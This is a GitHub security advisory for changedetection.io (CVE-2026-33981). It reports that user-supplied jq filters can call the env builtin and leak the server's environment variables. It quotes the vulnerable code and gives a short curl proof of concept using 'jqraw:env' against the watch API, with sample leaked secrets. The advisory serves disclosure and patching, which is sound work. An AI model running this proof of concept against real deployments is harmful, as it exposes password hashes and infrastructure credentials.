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Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

High severity GitHub Reviewed Published Mar 26, 2026 in dgtlmoon/changedetection.io • Updated Mar 30, 2026

Package

pip changedetection.io (pip)

Affected versions

<= 0.54.6

Patched versions

0.54.7

Description

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/html_tools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.

Confirmed on v0.54.6: The processed text file stored 46 environment variables from the server process.

Impact

  • Secret exposure: Leaks SALTED_PASS (password hash used for authentication), enabling offline cracking or direct session forgery
  • Infrastructure credential theft: Leaks PLAYWRIGHT_DRIVER_URL, WEBDRIVER_URL, HTTP_PROXY/HTTPS_PROXY, database connection strings, and any API keys or tokens passed as environment variables
  • Cascading access: Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems
  • Affects all deployments using jq: Any instance where the Python jq module is installed (standard in Docker deployments) is vulnerable
  • No authentication required by default: changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

References

@dgtlmoon dgtlmoon published to dgtlmoon/changedetection.io Mar 26, 2026
Published to the GitHub Advisory Database Mar 27, 2026
Reviewed Mar 27, 2026
Published by the National Vulnerability Database Mar 27, 2026
Last updated Mar 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-33981

GHSA ID

GHSA-58r7-4wr5-hfx8

Source code

Credits

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